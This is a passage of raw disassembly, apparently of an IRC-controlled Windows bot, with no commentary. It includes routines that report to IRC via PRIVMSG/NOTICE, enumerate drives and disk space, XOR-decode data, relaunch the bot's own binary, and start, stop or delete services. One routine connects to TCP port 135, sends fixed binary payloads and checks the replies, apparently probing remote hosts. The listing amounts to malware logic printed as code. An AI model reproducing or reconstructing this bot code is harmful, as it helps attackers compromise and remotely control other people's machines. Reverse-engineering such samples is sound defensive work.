		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_40D670
		add	esp, 14h


loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		pop	ecx


loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	ds:dword_43C64C	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_417064
		pop	ecx
		push	esi
		call	ds:dword_423050
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF


loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, ds:byte_42E5C0
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE51+2AA8p
					; sub_40EE51+2BCBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4195E9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_40637D+45Dp
					; sub_40637D+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h		; Size
		mov	edi, offset dword_4409E8
		push	0		; Val
		push	edi		; Dst
		call	_memset
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	__aullrem
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	__aulldiv
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------


loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi


loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------


loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D245+51p
					; sub_40D245+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43C678	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42CDD0
		retn
; ---------------------------------------------------------------------------


loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42D644
		retn
; ---------------------------------------------------------------------------


loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_43C514
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D3+1F3p
					; sub_40D245+17p

Dest		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D202
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D202
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D202
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	__alldiv
		push	edx
		push	eax
		call	sub_40D01A
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi		; Format
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	__alldiv
		push	edx
		push	eax
		call	sub_40D01A
		push	eax
		push	edi		; Format
		lea	eax, [ebp+var_118]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	__alldiv
		push	edx
		push	eax
		call	sub_40D01A
		push	eax
		push	edi		; Format
		lea	eax, [ebp+var_98]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		pop	ebx
		jmp	short loc_40D231
; ---------------------------------------------------------------------------


loc_40D202:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+Dest]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+var_118]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+var_98]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h


loc_40D231:				; CODE XREF: sub_40D12A+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+Dest]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D245(int,char *Str,int,int)

sub_40D245	proc near		; CODE XREF: sub_40D317+17p
					; sub_40D317+60p

Dest		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
Str1		= byte ptr -80h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+Str1]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax		; Str1
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2B8
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42D6A4 ; Format
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_40D2EC
; ---------------------------------------------------------------------------


loc_40D2B8:				; CODE XREF: sub_40D245+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42D658 ; Format
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h


loc_40D2EC:				; CODE XREF: sub_40D245+71j
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D245	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D317(int,char *Str,int,int)

sub_40D317	proc near		; CODE XREF: sub_40EE51+57C8p

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D338
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D245
		add	esp, 10h
		jmp	short loc_40D399
; ---------------------------------------------------------------------------


loc_40D338:				; CODE XREF: sub_40D317+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_43C588	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi		; Size
		call	_malloc
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_43C588	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D390


loc_40D35C:				; CODE XREF: sub_40D317+77j
		push	offset aA_0	; "A:\\"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D37F
		push	esi		; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D245
		add	esp, 10h


loc_40D37F:				; CODE XREF: sub_40D317+54j
		push	esi		; Str
		call	_strlen
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D35C


loc_40D390:				; CODE XREF: sub_40D317+43j
		push	edi		; Memory
		call	_free
		pop	ecx
		pop	edi
		pop	esi


loc_40D399:				; CODE XREF: sub_40D317+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D317	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D39C	proc near		; DATA XREF: sub_40E68B+11o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
Dst		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_44207C
		call	ds:dword_43C6B0	; closesocket
		call	sub_416F11
		call	ds:dword_43C578	; WSACleanup
		call	ds:dword_43C578	; WSACleanup
		mov	ebx, ds:dword_423060
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi		; Size
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_4397BC
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_423064	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	ds:dword_423090	; GetModuleFileNameA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	ds:dword_423120	; CreateProcessA
		test	eax, eax
		jz	short loc_40D461
		push	64h
		call	ebx	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_423074
		call	esi
		push	[ebp+var_C]
		call	esi


loc_40D461:				; CODE XREF: sub_40D39C+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_440A20
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_42314C
		pop	edi
		pop	esi
		pop	ebx
sub_40D39C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D484(int,int,void *Buf2,size_t Size)

sub_40D484	proc near		; CODE XREF: sub_40D4BC+125p
					; sub_40D4BC+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Buf2		= dword	ptr  10h
Size		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+Size]
		test	edi, edi
		jle	short loc_40D4B2


loc_40D495:				; CODE XREF: sub_40D484+2Cj
		push	[ebp+Size]	; Size
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+Buf2]	; Buf2
		push	eax		; Buf1
		call	_memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4B8
		inc	esi
		cmp	esi, edi
		jl	short loc_40D495


loc_40D4B2:				; CODE XREF: sub_40D484+Fj
		xor	al, al


loc_40D4B4:				; CODE XREF: sub_40D484+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D4B8:				; CODE XREF: sub_40D484+27j
		mov	al, 1
		jmp	short loc_40D4B4
sub_40D484	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4BC	proc near		; CODE XREF: sub_402DCE+8Bp
					; sub_402DCE+174p

var_2010	= dword	ptr -2010h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	__alloca_probe
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D4FD
		dec	eax
		jz	short loc_40D4DB
		dec	eax


loc_40D4D5:				; CODE XREF: sub_40D4BC+57j
		xor	eax, eax


loc_40D4D7:				; CODE XREF: sub_40D4BC+3Fj
					; sub_40D4BC+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D4DB:				; CODE XREF: sub_40D4BC+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	ds:dword_43C658	; inet_addr
		push	eax
		call	sub_4076BB
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4D7
; ---------------------------------------------------------------------------


loc_40D4FD:				; CODE XREF: sub_40D4BC+13j
		push	6
		push	1
		push	2
		call	ds:dword_43C698	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4D5
		push	ebx
		xor	ebx, ebx
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	87h
		call	ds:dword_43C618	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADC5
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43C5C0	; connect
		cmp	eax, edi
		jz	loc_40D619
		push	ebx
		push	48h
		push	offset dword_42D6F4
		push	esi
		call	ds:dword_43C668	; send
		cmp	eax, edi
		jz	loc_40D619
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C630	; recv
		cmp	eax, edi
		jz	loc_40D619
		cmp	byte ptr [ebp+var_2010+2], 0Ch
		jnz	short loc_40D619
		push	ebx
		push	18h
		push	offset dword_42D740
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		cmp	eax, edi
		jz	short loc_40D619
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C630	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D619
		cmp	byte ptr [ebp+var_2010+2], 2
		jnz	short loc_40D619
		push	10h		; Size
		push	offset loc_42D75C ; Buf2
		lea	eax, [ebp+var_2010]
		push	esi		; int
		push	eax		; int
		call	sub_40D484
		add	esp, 10h
		test	al, al
		jz	short loc_40D5F9
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D619
; ---------------------------------------------------------------------------


loc_40D5F9:				; CODE XREF: sub_40D4BC+12Fj
		push	10h		; Size
		push	offset dword_42D770 ; Buf2
		lea	eax, [ebp+var_2010]
		push	esi		; int
		push	eax		; int
		call	sub_40D484
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_40D619:				; CODE XREF: sub_40D4BC+9Bj
					; sub_40D4BC+B2j ...
		push	[ebp+arg_4]
		call	ds:dword_43C6B0	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4D7
sub_40D4BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D62A(int,char *Format,char Args)

sub_40D62A	proc near		; CODE XREF: sub_40ECD9+3Dp
					; sub_40EE51+1CBp ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Format		= dword	ptr  0Ch
Args		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	200h		; Count
		push	eax		; Dest
		call	__vsnprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		leave
		retn
sub_40D62A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D670(int,char *Str,int,int,int)

sub_40D670	proc near		; CODE XREF: sub_401000+88p
					; sub_401447+76p ...

var_400		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D68B
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40D68B:				; CODE XREF: sub_40D670+14j
		push	edi		; Str
		call	_strlen
		push	[ebp+Str]	; Str
		mov	esi, 1FAh
		sub	esi, eax
		call	_strlen
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+Str]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 2Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D709
		push	7D0h
		call	ds:dword_423060	; Sleep

locret_40D709:				; CODE XREF: sub_40D670+8Cj
		leave
		retn
sub_40D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D70B	proc near		; CODE XREF: sub_40EE51:loc_410EC0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D770
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_42D7A8[esi]
		push	edi
		push	eax
		call	sub_40D792
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D753
		push	edi
		push	ds:off_42D7A4[esi]
		mov	esi, offset byte_4410E8
		push	offset dword_42D8D4 ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_40D78D
; ---------------------------------------------------------------------------


loc_40D753:				; CODE XREF: sub_40D70B+2Aj
		push	eax
		call	sub_40D834
		push	eax
		push	edi
		mov	esi, offset byte_4410E8
		push	offset dword_42D89C ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_40D78D
; ---------------------------------------------------------------------------


loc_40D770:				; CODE XREF: sub_40D70B+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset byte_4410E8
		push	ds:off_42D7A0[eax*4]
		push	offset dword_42D868 ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40D78D:				; CODE XREF: sub_40D70B+46j
					; sub_40D70B+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D70B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D792	proc near		; CODE XREF: sub_40D70B+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_43C60C	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7B9
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40D82E
; ---------------------------------------------------------------------------


loc_40D7B9:				; CODE XREF: sub_40D792+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_43C500	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7D9
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40D826
; ---------------------------------------------------------------------------


loc_40D7D9:				; CODE XREF: sub_40D792+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80C
		cmp	eax, 3
		jz	short loc_40D7FD
		jle	short loc_40D81F
		cmp	eax, 6
		jg	short loc_40D81F
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_43C568	; ControlService
		jmp	short loc_40D813
; ---------------------------------------------------------------------------


loc_40D7FD:				; CODE XREF: sub_40D792+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_43C508	; StartServiceA
		jmp	short loc_40D813
; ---------------------------------------------------------------------------


loc_40D80C:				; CODE XREF: sub_40D792+4Dj
		push	esi
		call	ds:dword_43C56C	; DeleteService


loc_40D813:				; CODE XREF: sub_40D792+69j
					; sub_40D792+78j
		test	eax, eax
		jnz	short loc_40D81F
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ebx, eax


loc_40D81F:				; CODE XREF: sub_40D792+54j
					; sub_40D792+59j ...
		push	esi
		call	ds:dword_43C51C	; CloseServiceHandle


loc_40D826:				; CODE XREF: sub_40D792+45j
		push	edi
		call	ds:dword_43C51C	; CloseServiceHandle
		pop	esi


loc_40D82E:				; CODE XREF: sub_40D792+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D792	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D834	proc near		; CODE XREF: sub_40D70B+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8E9
		jz	loc_40D8E2
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AC
		jz	short loc_40D8A2
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D898
		dec	ecx
		dec	ecx
		jz	short loc_40D88E
		dec	ecx
		jz	short loc_40D884
		sub	ecx, 51h
		jz	short loc_40D87A
		sub	ecx, 24h
		jnz	loc_40D95F	; default
					; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D951
; ---------------------------------------------------------------------------


loc_40D87A:				; CODE XREF: sub_40D834+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D951
; ---------------------------------------------------------------------------


loc_40D884:				; CODE XREF: sub_40D834+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D951
; ---------------------------------------------------------------------------


loc_40D88E:				; CODE XREF: sub_40D834+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D951
; ---------------------------------------------------------------------------


loc_40D898:				; CODE XREF: sub_40D834+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D951
; ---------------------------------------------------------------------------


loc_40D8A2:				; CODE XREF: sub_40D834+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D951
; ---------------------------------------------------------------------------


loc_40D8AC:				; CODE XREF: sub_40D834+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DB
		dec	ecx
		jz	short loc_40D8D4
		dec	ecx
		jz	short loc_40D8CD
		dec	ecx
		jnz	loc_40D95F	; default
					; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D951
; ---------------------------------------------------------------------------


loc_40D8CD:				; CODE XREF: sub_40D834+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D8D4:				; CODE XREF: sub_40D834+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D8DB:				; CODE XREF: sub_40D834+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D8E2:				; CODE XREF: sub_40D834+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D834+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D95F ; default
